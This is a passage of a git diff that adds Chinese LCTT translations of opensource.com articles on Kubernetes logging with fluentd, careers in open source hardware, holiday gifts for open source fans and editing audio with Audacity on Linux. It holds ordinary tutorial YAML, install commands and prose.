extensions/v1beta1 +kind: DaemonSet +metadata: + name: fluentd + namespace: logging + labels: + app: fluentd + kubernetes.io/cluster-service: "true" +spec: + selector: + matchLabels: + app: fluentd + kubernetes.io/cluster-service: "true" + template: + metadata: + labels: + app: fluentd + kubernetes.io/cluster-service: "true" + spec: + serviceAccount: fluentd + containers: + - name: fluentd + image: fluent/fluentd-kubernetes-daemonset:v1.7.3-debian-elasticsearch7-1.0 + env: + - name: FLUENT_ELASTICSEARCH_HOST + value: "elasticsearch.logging.svc.cluster.local" + - name: FLUENT_ELASTICSEARCH_PORT + value: "9200" + - name: FLUENT_ELASTICSEARCH_SCHEME + value: "http" + - name: FLUENT_ELASTICSEARCH_USER + value: "elastic" + - name: FLUENT_ELASTICSEARCH_PASSWORD + valueFrom: + secretKeyRef: + name: efk-pw-elastic + key: password + - name: FLUENT_ELASTICSEARCH_SED_DISABLE + value: "true" + resources: + limits: + memory: 512Mi + requests: + cpu: 100m + memory: 200Mi + volumeMounts: + - name: varlog + mountPath: /var/log + - name: varlibdockercontainers + mountPath: /var/lib/docker/containers + readOnly: true + - name: fluentconfig + mountPath: /fluentd/etc/fluent.conf + subPath: fluent.conf + terminationGracePeriodSeconds: 30 + volumes: + - name: varlog + hostPath: + path: /var/log + - name: varlibdockercontainers + hostPath: + path: /var/lib/docker/containers + - name: fluentconfig + configMap: + name: fluentdconf +``` + +你可以在此 [仓库][4] 中查看完整示例。 + +现在,我们来看看如何将 `fluentd daemonset` 部署为日志代理的代码。 + +``` +#fluentd-daemonset.yaml +apiVersion: extensions/v1beta1 +kind: DaemonSet +metadata: + name: fluentd + namespace: logging + labels: + app: fluentd + kubernetes.io/cluster-service: "true" +spec: + selector: + matchLabels: + app: fluentd + kubernetes.io/cluster-service: "true" + template: + metadata: + labels: + app: fluentd + kubernetes.io/cluster-service: "true" + spec: + serviceAccount: fluentd + containers: + - name: fluentd + image: fluent/fluentd-kubernetes-daemonset:v1.7.3-debian-elasticsearch7-1.0 + env: + - name: FLUENT_ELASTICSEARCH_HOST + value: "elasticsearch.logging.svc.cluster.local" + - name: FLUENT_ELASTICSEARCH_PORT + value: "9200" + - name: FLUENT_ELASTICSEARCH_SCHEME + value: "http" + - name: FLUENT_ELASTICSEARCH_USER + value: "elastic" + - name: FLUENT_ELASTICSEARCH_PASSWORD + valueFrom: + secretKeyRef: + name: efk-pw-elastic + key: password + - name: FLUENT_ELASTICSEARCH_SED_DISABLE + value: "true" + resources: + limits: + memory: 512Mi + requests: + cpu: 100m + memory: 200Mi + volumeMounts: + - name: varlog + mountPath: /var/log + - name: varlibdockercontainers + mountPath: /var/lib/docker/containers + readOnly: true + - name: fluentconfig + mountPath: /fluentd/etc/fluent.conf + subPath: fluent.conf + terminationGracePeriodSeconds: 30 + volumes: + - name: varlog + hostPath: + path: /var/log + - name: varlibdockercontainers + hostPath: + path: /var/lib/docker/containers + - name: fluentconfig + configMap: + name: fluentdconf +``` + +将这些放在一起执行: + +``` +kubectl apply -f fluentd-SA.yaml \ + -f fluentd-configmap.yaml \ + -f fluentd-daemonset.yaml +``` + +#### 用于日志记录的挎斗容器应用程序 + +另一种方法是使用带有日志代理的专用挎斗容器。容器最常见的实现是使用 [Fluentd][5] 作为日志收集器。在企业部署中(你无需担心一点计算资源开销),使用 `fluentd`(或[类似][6])实现的挎斗容器提供了集群级日志记录的灵活性。这是因为你可以根据需要捕获的日志类型、频率和其它可能的调整来调整和配置收集器代理。 + +下图展示了作为日志代理的挎斗容器。 + +![Sidecar container as logging agent][7] + +例如,一个吊舱运行单个容器,容器使用两种不同的格式写入两个不同的日志文件。吊舱的配置文件如下: + +``` +#log-sidecar.yaml +apiVersion: v1 +kind: Pod +metadata: + name: counter +spec: + containers: + - name: count + image: busybox + args: + - /bin/sh + - -c + - > + i=0; + while true; + do + echo "$i: $(date)" >> /var/log/1.log; + echo "$(date) INFO $i" >> /var/log/2.log; + i=$((i+1)); + sleep 1; + done + volumeMounts: + - name: varlog + mountPath: /var/log + - name: count-log + image: busybox + args: [/bin/sh, -c, 'tail -n+1 -f /var/log/1.log'] + volumeMounts: + - name: varlog + mountPath: /var/log + volumes: + - name: varlog + emptyDir: {} +``` + +把它们放在一起,你可以运行这个吊舱: + +``` +$ kubectl apply -f log-sidecar.yaml +``` + +要验证挎斗容器是否用作日志代理,你可以执行以下操作: + +``` +$ kubectl logs counter count-log +``` + +预期的输出如下所示: + +``` +$ kubectl logs counter count-log-1 + +Thu 04 Nov 2021 09:23:21 NZDT +Thu 04 Nov 2021 09:23:22 NZDT +Thu 04 Nov 2021 09:23:23 NZDT +Thu 04 Nov 2021 09:23:24 NZDT +``` + +#### 将应用程序日志直接暴露给日志后端 + +第三种方法(在我看来)是 Kubernetes 容器和应用程序日志最灵活的日志记录解决方案,是将日志直接推送到日志记录后端解决方案。尽管此模式不依赖于原生 Kubernetes 功能,但它提供了大多数企业需要的灵活性,例如: + + 1. 扩展对网络协议和输出格式的更广泛支持。 + 2. 提供负载均衡能力并提高性能。 + 3. 可配置为通过上游聚合接受复杂的日志记录要求。 + +因为这第三种方法通过直接从每个应用程序推送日志来依赖非 Kubernetes 功能,所以它超出了 Kubernetes 的范围。 + +### 结论 + +Kubernetes 日志记录工具是企业部署 Kubernetes 集群的一个非常重要的组件。我讨论了三种可能的可用模式。你需要找到适合你需求的模式。 + +如上所述,使用 `daemonset` 的节点级日志记录是最容易使用的部署模式,但它也有一些限制,可能不适合你的组织的需要。另一方面,挎斗 模式提供了灵活性和自定义,允许你自定义要捕获的日志类型,但是会提高计算机的资源开销。最后,将应用程序日志直接暴露给后端日志工具是另一种允许进一步定制的诱人方法。 + +选择在你,你只需要找到适合你组织要求的方法。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/cluster-logging-kubernetes + +作者:[Mike Calizo][a] +选题:[lujun9972][b] +译者:[perfiffer](https://github.com/perfiffer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mcalizo +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/kubernetes.png?itok=PqDGb6W7 (Wheel of a ship) +[2]: https://opensource.com/sites/default/files/uploads/node-level-logging-agent.png (Node-level logging agent) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://github.com/mikecali/kubernetes-logging-example-article +[5]: https://www.fluentd.org/ +[6]: https://www.g2.com/products/fluentd/competitors/alternatives +[7]: https://opensource.com/sites/default/files/uploads/sidecar-container-as-logging-agent.png (Sidecar container as logging agent) diff --git a/published/202201/20211113 Why now is a great time to consider a career in open source hardware.md b/published/202201/20211113 Why now is a great time to consider a career in open source hardware.md new file mode 100644 index 0000000000..9bfcd1f422 --- /dev/null +++ b/published/202201/20211113 Why now is a great time to consider a career in open source hardware.md @@ -0,0 +1,73 @@ +[#]: subject: "Why now is a great time to consider a career in open source hardware" +[#]: via: "https://opensource.com/article/21/11/open-source-hardware-careers" +[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" +[#]: collector: "lujun9972" +[#]: translator: "zengyi1001" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14206-1.html" + +现在是考虑从事开源硬件职业的好时机 +====== + +> 开源硬件现在是一个独立领域,并且正在快速的成长中。 + +![](https://img.linux.net.cn/data/attachment/album/202201/23/102054w2jnwennn8rwh27w.jpg) + +在软件行业中,各种类型的程序员写代码的职业已经变得很普遍,这些代码通过开源许可证发布到公共场所。业界的猎头们通常要求查看这些代码来审查未来员工候选人。那些将自己职业生涯专注在开源项目开发的人得到了回报。从 payscale.com 网站得知,Linux 系统管理员的收入比 Windows 管理员要高,这表明从事开源软件领域可以获得更高的报酬和更稳定的工作机会。分享你的工作会让你感觉良好(这甚至可能是一种因果报应),你知道自己正在为整个世界创造价值。历史上,这样的机会可从来没有为我们这些从事于开源硬件领域的人存在过。 + +二十多年前,几乎没有人知道开源硬件是什么,更别说围绕它规划自己的职业生涯了。举例而言,在 2000 年全世界发表了超过 200 万篇学术论文,却只有 7 篇文章提到过“开源硬件”。在我第一次写《[开源实验室][2]》 的时候,我收集了每一个案例(其实也就几十个),并且可以轻松的跟上和阅读每一篇发布的关于开源硬件的文章,还把它们发布到维基上。我很高兴的报告大家,这种情况现在已经实际上不可能了。今年已经有超过 1500 篇文章在讨论“开源硬件”,而且我相信年底的时候还会有更多的文章发表出来。开源硬件现在已经是一个独立的领域,有一些专门报导它的杂志(比如说 《[HardwareX][3]》 和 《[Journal of Open Hardware][4]》)。在更多的领域中,数十种传统杂志现在也会定期报道最新的开源硬件的发展。 + +![Smart open source 3-D printing][5] + +*开发智能开源硬件 3-D 打印 (Joshua Pearce, [GNU-FDL][6])* + +即使是在十年前,从职业生涯的角度看,强调开源硬件开发在某种程度上也是一种冒险。我记得在我上一份工作的简历中,我淡化了和它相关的内容,更多的强调了我的传统工作。工业界和学术界的管理人员难以明白如果这些设计被送出去并在其他地方生产制造,你又怎样获得收益。这一切都在改变。和自由与开源的软件一样,开源硬件开发更快,而且我敢说,会优于专有开发模式。 + +![Open source recycle bot][7] + +*(Joshua Pearce, [GNU-FDL][6])* + +每种企业都有大量成功的 [开放硬件商业模式][8]。随着数字制造的兴起(主要是由于开源开发),开源软件和开源硬件之间的界限变得模糊。像 [FreeCAD][9] 这样的开源软件可以制作开源设计,然后在内置 CAM 中使用,在开源激光切割机、CNC 铣床或 3D 打印机上进行制造。[OpenSCAD][10] 是一个基于开源脚本的 CAD 包,尤其是它确实模糊了软件和硬件之间的界限,以至于代码和物理设计成为同义词。我们中的许多人开始公开谈论开源硬件。我把它作为我研究项目的核心主旨,首先让我自己的设备开源,然后为其他人开发开源硬件。我并不孤单。作为一个社区,我们已经获得了足够的临界质量,于 2012 年成立了 [开源硬件协会][11](OSHWA)。如今,差不多十年后,开源硬件的职业前景完全不同:已经有了数百个开源硬件硬件公司,互联网上涌现出数百万(数百万!)个开源设计,学术文献中对开源硬件的兴趣也呈指数级增长。 + +![Open source production for solar photovoltaics][12] + +*为太阳能光伏开发开源产品。(Joshua Pearce, [GNU-FDL][6])* + +甚至有些工作的目标就是促进更快过渡到无处不在的开源硬件。例如,生产互联网Internet of Production(IoP)联盟在开发开放数据标准Open Data Standards和发展这些标准的用户社区方面,现在已经为运营和通信官、数据标准社区支持经理和 DevOps 工程师提供了 [职位][13]。由于 **我在开源硬件上方面的工作**,我刚被聘为 [加拿大西部大学][14](世界排名前 1% 的大学)的终身讲席教授。该职位是与加拿大排名第一的商学院 [毅伟商学院][15] 交叉任职的。我的工作是帮助大学快速发展,抓住开源技术发展机会。说到做到,我现在正 [招聘][16] 硕士和博士水平的毕业生,包含全额奖学金和生活津贴。这些 [免费适用的可持续性技术(FAST)实验室][17] 的研究生工程职位专门用于开发开源硬件,用于太阳能光伏系统、分布式回收和紧急食品生产等一系列应用。这种工作得到了那些想要最大化 [他们的研究投资回报][18] 的资助者的更多的资助。整个国家都在朝着这个方向前进。最近的一个好例子是法国,它刚刚发布了 [第二个开放科学计划][19]。我注意到 [GrantForward][20] 上列出的,用于美国开源资金的“开源”关键字资助的数量显着增加。许多基金会已经清晰明了地收到了开源备忘录 —— 因此开源研发的机会越来越多。 + +因此,如果你还没开始的话,也许是时候考虑将开源作为一种职业,即使你是一名喜欢开发硬件的工程师。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/open-source-hardware-careers + +作者:[Joshua Pearce][a] +选题:[lujun9972][b] +译者:[zengyi1001](https://github.com/zengyi1001) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jmpearce +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/open-source-hardware.png?itok=vS4MBRSh (shaking hands open source hardware) +[2]: https://www.appropedia.org/Open-source_Lab +[3]: https://www.hardware-x.com/ +[4]: https://openhardware.metajnl.com/ +[5]: https://img.linux.net.cn/data/attachment/album/202201/23/102227iur7uut1dyyhyb2r.jpg (Smart open source 3-D printing) +[6]: https://www.gnu.org/licenses/fdl-1.3.en.html +[7]: https://img.linux.net.cn/data/attachment/album/202201/23/102236djy2djyy101b8g1x.jpg (Open source recycle bot) +[8]: https://doi.org/10.5334/joh.4 +[9]: https://www.freecadweb.org/ +[10]: https://openscad.org/ +[11]: https://www.oshwa.org/ +[12]: https://img.linux.net.cn/data/attachment/album/202201/23/102243x383b7bh3884bdb8.jpg (Open source production for solar photovoltaics) +[13]: https://www.internetofproduction.org/hiring +[14]: https://www.uwo.ca/ +[15]: https://www.ivey.uwo.ca/ +[16]: https://www.appropedia.org/FAST_application_process +[17]: https://www.appropedia.org/Category:FAST +[18]: https://www.academia.edu/13799962/Return_on_Investment_for_Open_Source_Hardware_Development +[19]: https://www.ouvrirlascience.fr/wp-content/uploads/2021/10/Second_French_Plan-for-Open-Science_web.pdf +[20]: https://www.grantforward.com/index diff --git a/published/202201/20211126 10 holiday gift ideas for open source enthusiasts.md b/published/202201/20211126 10 holiday gift ideas for open source enthusiasts.md new file mode 100644 index 0000000000..1f93baa627 --- /dev/null +++ b/published/202201/20211126 10 holiday gift ideas for open source enthusiasts.md @@ -0,0 +1,172 @@ +[#]: subject: "10 holiday gift ideas for open source enthusiasts" +[#]: via: "https://opensource.com/article/21/11/open-source-holiday-gifts" +[#]: author: "Joshua Allen Holm https://opensource.com/users/holmja" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14227-1.html" + +给开源爱好者的 10 个节日礼物创意 +====== + +> 从 DIY 项目到电脑再到书籍,这份清单提供了培养创造力、学习和探索的礼物创意。 + +![](https://img.linux.net.cn/data/attachment/album/202201/30/133910x5rav7vduwrvpudr.jpg) + +你是否正在为你的节日购物清单上的人寻找很酷的礼物,或者为你自己的愿望清单寻找建议?如果是这样,请考虑以下十条建议。这些礼物建议中的每一个都以某种方式与开源精神相联系。从 DIY 项目到电脑再到书籍,这份清单提供了培养创造力、学习和探索的礼物建议。 + +### System76 电脑 + +![System76 Thelio][2] + +你身边的某人需要一个新的台式机、笔记本电脑或服务器吗?[System76][4] 应该是你首先应该寻找的地方之一。想找一些轻巧的移动设备吗?轻巧的 14 英寸 [Lemur Pro][5] 笔记本电脑是一个很好的选择。需要一个有大量处理能力、内存和存储空间的台式机?各种 [Thelio][3] 台式机中就有一款是你要找的。还有很多介于两者之间的其他选择。他们的电脑配备了 Ubuntu 或 Pop!_OS,这是该公司自己的基于 Ubuntu 的 Linux 发行版,并有终身支持。System76 也支持 [维修权法案][6]。虽然不是唯一一家销售安装 Linux 系统的电脑的厂商,但他们肯定是最受欢迎的厂商之一。 + +- **价格不一** + +### 树莓派 400 个人电脑套件 + +![Raspberry Pi 400 Kit][7] + +树莓派几乎不需要介绍。自从 2012 年第一款树莓派风靡全球以来,树莓派一直是最受欢迎的单板计算机之一,可用于教育、业余爱好者和手工爱好者们。[树莓派 400 个人电脑套件][8] 延续了这一趋势。除了一个显示器之外,这个套件包含了人们开始使用所需的一切。花 100.00 美元,你就可以得到树莓派 400(树莓派 4 系列的一个变种,内置于一个键盘外壳中)、一只鼠标、电源、micro HDMI 转 HDMI 电缆、一张预装树莓派操作系统的 SD 卡,以及一本《树莓派初学者指南》。虽然树莓派 400 不是世界上最强大的计算机,但对于你的礼物清单上的孩子来说,树莓派 400 完全可以作为一个得当的入门计算机。 + +- **价格:100.00 美元** + +### 树莓派 Build HAT + +![Raspberry Pi Build HAT][9] + +树莓派的诸多优势之一是它能够通过各种附加板进行扩展。最近推出的一款附加板 —— [树莓派 Build HAT][10],可以用树莓派来控制多达四个乐高技术电机或 [乐高教育 SPIKE][11] 产品系列的传感器。Build HAT 适用于任何带有 40 针 GPIO 接头的树莓派。你可以使用专门开发的 Python 库对项目进行编码。Build HAT 可以使用外部 8V 直流电源(如 [官方 Built HAT 电源][12])或 7.5V 电池组为自身、树莓派板以及乐高电机和传感器供电。 + +- **价格:25.00 美元(加上一个项目所需的零件和配件的费用)** + +### CrowPi2 + +![CrowPi][13] + +[CrowPi2][14] 是一个 STEM 学习项目集合,放在一个由树莓派驱动的笔记本电脑式的机箱里。CrowPi2 套件有三种尺寸:基本型、高级型和豪华型。基本型套件包括一些附件,但不包括树莓派。高级套装配备了一个拥有 4GB 内存的树莓派 4B,并有比基本套装更多的配件选择。豪华套装配备了最多的配件和一个拥有 8GB 内存的树莓派 4B。所有三个套件都有太空灰或银色可供选择。一个可选的移动电源可以在不插入电源插座时为 CrowPi2 提供电源。如果你想了解更多关于 CrowPi2 的信息,你可以阅读 Seth Kenlon 的 [对 CrowPi2 的点评][15]。 + +- **基本套件:339.99 美元** +- **高级套件:469.99 美元** +- **豪华套装:529.99 美元** +- **可选的移动电源:19.00 美元** + +### Keebio Quefrency 键盘 + +推荐人:John Hall + +![Keebio Quefrency键盘][16] + +[Keebio Quefrency 键盘][17] 对于任何想组装自己的键盘的人来说,都是一个很好的节日礼物!它是一款 65% 键盘,这可能是大多数人愿意去做的最小的键盘,因为它有 Home、PgUp、PgDn 和方向键。它是一个分体式的人体工程学键盘,但如果你难以适应分体式的键盘,你可以将两半重新组合起来。最重要的是,最新版本的 Quefrency 有热插拔插座,所以你可以在不需要焊接任何东西的情况下组装它。 + +下面是一个廉价的 Quefrency 键盘组件: + + * [Quefrency rev4 PCBs][18] 带有热插拔插座,加上 FR4 板(左边没有宏,右边有 65%) + * 80 + 28 美元 + * [2u 稳定器(5 个)][19] + * 10 美元 + * [按键开关(70 个)][20] + * 16 美元 + * [键帽][21] + * 45 美元 + * [2.25u G20 左空格键][22] 和 [2.75u G20 右空格键][23] + * 8 + 8 美元 + * [USB C 到 USB C 键盘连接器][24] + * 4 美元 + * **共计 199 美元**(不包括运费) + +正如零件清单中指出的,Keebio Quefrency rev4 需要五个稳定器: + + 1. 左 Shift 键 + 2. 左空格键 + 3. 右空格键 + 4. 回车键 + 5. 退格键 + +Keebio Quefrency rev4 目标是构建 65% 键盘,它有一个缩短的右 Shift 键,不需要稳定器。许多键帽套装,甚至是相对便宜的套装,如 Artifact Bloom 和 Glorious GPBT,包括一个缩短的右 Shift 键,适合大多数像这样的键盘。难的是找到匹配的分体式空格键键帽。但你可以从 Pimp My Keyboard 等地方买到空格键的键帽,效果很好。不幸的是,几乎不可能从不同的制造商那里得到匹配的颜色。即使你选择白色键帽和白色空格键,其中一个也可能比另一个更灰。为什么不接受这种差异呢?试着将白色和灰色的键帽与红色或蓝色的空格键配对一下。 + +### Petoi Nybble 开源机器猫 + +![Petoi Nybble][25] + +[Petoi Nybble 开源机器猫][26] 是一个用于建造机器宠物猫的套件。该套件包含了建造该项目所需的一切,但不包括电池。Nybble 需要两块 14500 锂离子可充电 3.7V 电池,可提供约 45 分钟的游戏时间。一旦组装完成,可以使用 Arduino IDE、Python API 或 Android/iOS 应用程序对该猫进行编程/控制。查看 [Nybble 用户手册][27] 了解更多细节。 + +- **价格:249.00 美元** + +### 《苍穹浩瀚》小说系列 + +![《苍穹浩瀚》合集][28] + +James S.A. Corey 的《[苍穹浩瀚][29]Expanse》系列的最后一部小说正好在假日送礼季节推出。定于 11 月 30 日发行的《[利维坦瀑布][30]Leviathan Falls》将结束这个史诗般的九部科幻小说系列的主要叙事,探索人类在太空的未来。按顺序,该系列的九本书是《利维坦觉醒Leviathan Wakes》、《卡利班之战Caliban's War》、《阿巴顿之门Abaddon's Gate》、《西波拉燃烧Cibola Burn》、《复仇游戏Nemesis Games》、《巴比伦的灰烬Babylon's Ashes》、《波斯波利斯的崛起Persepolis Rising》、《提亚马特之怒Tiamat's Wrath》和《利维坦瀑布Leviathan Falls》。明年还将出版一本短篇小说和长篇小说集。这些故事和长篇小说中的大部分已经有了电子书格式,但这是第一次的印刷合集。给你身边的科幻小说读者购买该系列的第一本书,让他们开始阅读,或者给他们购买整个系列。 + +- **第一至第六本:17.99 美元(平装本)** +- **第七本和第八本:18.99 美元(平装本)** +- **第九本:30.00 美元(精装本)** + +### 书籍 + +如果你正在寻找书籍推荐,而《苍穹浩瀚》的推荐并不符合你的需求,可以考虑 [这份 2021 年夏季阅读清单][31] 中的书籍。这份清单包含八本适合各种阅读口味的书籍推荐。从《贝奥武夫Beowulf》的现代翻译到关于技术的非小说类书籍,那里应该有适合你生活中的读者的东西。如果 2021 年夏季阅读清单中没有你要找的东西,这篇文章还包含了以前所有夏季阅读清单的链接,其中提供了十多份建议清单。 + +- **价格不一** + +### 贴纸 + +![终极贴纸包][32] + +大流行期间的虚拟会议的一个缺点是,你无法带走从各个供应商摊位上收集的贴纸。对于那些喜欢用贴纸装饰笔记本电脑的人来说,这可能意味着他们最新的笔记本电脑目前还没有通常的装饰品。如果这听起来像你生活中的某个人,考虑给他们买一个来自 Sticker Mule 的 [Unixstickers 包][33]。该包有三种不同的尺寸:专业版,包含十张贴纸;精英版,包含专业版中的所有贴纸,再加十张贴纸;终极版,包含精英版中的所有内容,再加十张贴纸。这些贴纸涵盖了许多开源项目,使这些捆绑包成为参观供应商展位和亲临会议的贴纸交换台的下一个最佳选择。 + +- **专业包:1.00 美元** +- **精英包:19.00 美元** +- **终极包:24.00 美元** + +### 向开源组织慈善捐赠 + +如果你购物清单上的人已经拥有了一切(或者不想要任何有形的礼物),可以考虑以他们的名义向开源项目进行慈善捐赠。这个 [开源组织][34] 列表中有很多组织供你选择。你、以其名义捐款的人和收到你捐款的组织都会很高兴,你的礼物有助于使开源变得更好。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/open-source-holiday-gifts + +作者:[Joshua Allen Holm][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/holmja +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_gift_giveaway_box_520x292.png?itok=w1YQhNH1 (Gift box opens with colors coming out) +[2]: https://opensource.com/sites/default/files/styles/medium/public/uploads/system76_thelio.png?itok=E6HBZoMA (System76 Thelio) +[3]: https://system76.com/desktops/ +[4]: https://system76.com +[5]: https://system76.com/laptops/lemur +[6]: https://blog.system76.com/post/646726872371200000/carl-testimony-hb21-1199mp3 +[7]: https://opensource.com/sites/default/files/styles/medium/public/uploads/raspberry_pi_400_kit.jpg?itok=AnVA_OP9 (Raspberry Pi 400 Kit) +[8]: https://www.raspberrypi.com/products/raspberry-pi-400/ +[9]: https://opensource.com/sites/default/files/styles/medium/public/uploads/raspberry_pi_build_hat.png?itok=8YVyNM-c (Raspberry Pi Build HAT) +[10]: https://www.raspberrypi.com/products/build-hat/ +[11]: https://education.lego.com/ +[12]: https://www.raspberrypi.com/products/build-hat-power-supply/ +[13]: https://opensource.com/sites/default/files/styles/medium/public/uploads/crowpi2.png?itok=hJDaPaaz (CrowPi) +[14]: https://www.crowpi.cc/ +[15]: https://opensource.com/article/21/9/raspberry-pi-crowpi2 +[16]: https://opensource.com/sites/default/files/styles/medium/public/uploads/keebio_quefrency_keyboard_pcb.png?itok=M0JVlcRK (Keebio Quefrency Keyboard) +[17]: https://keeb.io/collections/quefrency-split-staggered-65-keyboard +[18]: https://keeb.io/collections/quefrency-split-staggered-65-keyboard/products/quefrency-rev-4-65-split-staggered-keyboard +[19]: https://keeb.io/collections/diy-parts/products/cherry-mx-stabilizer?variant=43449871046 +[20]: https://divinikey.com/collections/linear-switches/products/gateron-milky-yellow-linear-switches?variant=32193385201729 +[21]: https://drop.com/buy/artifact-bloom-series-keycap-set-vintage +[22]: https://pimpmykeyboard.com/g20-2-25-space-pack-of-4/ +[23]: https://pimpmykeyboard.com/g20-2-75-space-pack-of-4/ +[24]: https://keeb.io/products/usb-c-to-usb-c-cable?variant=32313985728606 +[25]: https://opensource.com/sites/default/files/styles/medium/public/uploads/petoi_nybble_open_source_robotic_cat.png?itok=zhvvBReE (Petoi Nybble) +[26]: https://www.petoi.com/pages/petoi-nybble-overview +[27]: https://nybble.petoi.com/ +[28]: https://opensource.com/sites/default/files/styles/medium/public/uploads/the_expanse_books.jpg?itok=FkuizWic (The Expanse books) +[29]: https://www.jamessacorey.com/writing-type/books/ +[30]: https://www.jamessacorey.com/books/leviathan-falls/ +[31]: https://opensource.com/article/21/6/2021-opensourcecom-summer-reading-list +[32]: https://opensource.com/sites/default/files/uploads/ultimate_sticker_pack.png (Ultimate sticker pack) +[33]: https://www.stickermule.com/unixstickers +[34]: https://opensource.com/resources/organizations diff --git a/published/202201/20211201 Edit audio on Linux with Audacity.md b/published/202201/20211201 Edit audio on Linux with Audacity.md new file mode 100644 index 0000000000..a35b188396 --- /dev/null +++ b/published/202201/20211201 Edit audio on Linux with Audacity.md @@ -0,0 +1,138 @@ +[#]: subject: "Edit audio on Linux with Audacity" +[#]: via: "https://opensource.com/article/21/12/audacity-linux-creative-app" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14163-1.html" + +在 Linux 上用 Audacity 编辑音频 +====== + +> Audacity 是开源软件世界中的一个经典的强大工具,可以用于录音、编辑等对声音进行操作。 + +![](https://img.linux.net.cn/data/attachment/album/202201/09/130245b7jozrrrc7gorgae.jpg) + +Audacity 声音编辑器是填补了一个似乎没有人意识到的空白的开源应用程序。它最初是在卡内基梅隆大学开发的,当时很多人还认为电脑只是用来办公和学习的,要进行严肃的多媒体工作需要特殊的 DSP 外围设备。Audacity 认识到,普通计算机用户偶尔也需要编辑音频。在此后的 20 年里,Audacity 团队一直为录音和清理声音打造这个开源的应用程序。 + +我经常使用 Audacity,作为一个受过培训的编辑,我已经习惯了在我的应用程序中使用重要的、通常是单键的键盘快捷键。通过围绕单个字母建立快捷键,你可以一只手放在鼠标上,一只手放在键盘上,所以选择一个工具或一个重要功能和点击鼠标之间的延迟仅仅是几毫秒而已。在本文中,我将专门给出我在 Audacity 中使用的键盘快捷方式,如果你想优化自己的设置可以参考。 + +### 在 Linux 上安装 Audacity + +在大多数 Linux 发行版上,Audacity 都可以从你的软件包管理器中获得。在 Fedora、Mageia 和类似的发行版上: + +``` +$ sudo dnf install audacity +``` + +在 Elementary、Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install audacity +``` + +然而,我是以 [Flatpak][2] 方式来使用 Audacity 的。 + +在 Windows 或 macOS 上,可以从 [Audacity 网站][3] 下载一个 Audacity 安装程序。 + +它最近有一个叫做 [Tenacity][4] 的复刻版本,是另外的开发者团队准备延续 Audacity 的传统而开发的。在写这篇文章的时候,两者基本上是相同的应用程序,所以这篇文章同样适用于两者。以后是否在功能上有分歧,还有待观察。 + +安装后,从你的应用程序或活动菜单中启动该应用程序。 + +### 在 Audacity 中设置输入 + +首先,你必须设置你的音频 *输入*,以便 Audacity 接收你使用的麦克风或音频接口的信号。你选择什么输入取决于你的设置和你拥有的音频外围设备。USB 麦克风通常被标为 麦克风 Microphone,但带有 1/8" 输入插孔的麦克风可能被标为 线路输入Line in。你可以选择不同输入: + +#### Pulse Audio 音频服务器 + +Linux 使用高级 Linux 声音架构Advanced Linux Sound Architecture(ALSA)作为其声音的后端,而 macOS 和 Windows 则使用自己的封闭框架。在 Linux 上,你可以将 Pulse Audio 音频服务器设置为你的输入源,将 Audacity 导向 _一个_ 虚拟接口(Pulse),因此你可以从系统设置中选择声音输入。这是我的首选方法,因为它将所有控制集中在一个方便的控制面板上。在一个应用程序中选择一个麦克风,却发现麦克风在其他地方被静音的日子已经一去不复返了。 + +![声音输入][5] + +#### 设备访问 + +如果你的发行版或操作系统没有使用 Pulse Audio 音频服务器,或者由于某种原因你喜欢直接访问声音设备,你可以从下拉菜单中选择一个设备。这需要了解你的系统是如何列出声音设备的,这有时候并不很好找。台式机可能有几个输入源,有些在机箱的后面,有些在前面的面板上。笔记本电脑通常输入方式较少,但你可能在网络摄像头附近有一个麦克风,如果你使用的是外部麦克风,可能还有一个。 + +### 用 Audacity 录制音频 + +选中你的输入后,按“录音Record”按钮(有红点的按钮)。 + +![录制音频][7] + +如果你是对着麦克风录音,你所要做的就是开始说话。如果你从,比如说,[黑胶唱片机][8] 录制输入,那么你必须启动它。不管是什么,只要 Audacity 处于录音模式,任何发送到你选择的输入的信号都会被写入 Audacity 并在你的屏幕上呈现为波形。 + +**我的快捷方式:** 我使用 `R` 键来开始录音。默认情况下,按下空格键停止录音(也可以回放录音)。 + +### 编辑音频 + +录音很少完全按计划进行。也许你过早地开始录音,不得不忍受几秒钟的黑胶静音(它就像静音,但更嘈杂),或者你发现你的语气停顿都是 “呃”、“嗯”或其他声调,或者你一开始就录制错误了。Audacity 首先是一个波形编辑器,这意味着你可以在最终的录音中剪掉你不想要的声音,就像你在文字处理器中输入的文字一样容易编辑。 + +### 编辑过零点的声音 + +Audacity 的主要编辑工具是“选择工具Selection Tool”。它是你在文字处理程序中看到的熟悉的“工字形”光标,它的功能在这里也是一样。你可以点击并拖动这个光标,穿过声音的一个区域,然后你可以复制、粘贴、剪切、删除或直接播放这个区域。 + +**我的快捷键:** 我用 `I` 键来激活“选择工具Selection Tool”,因为光标看起来像字母 “I”。 + 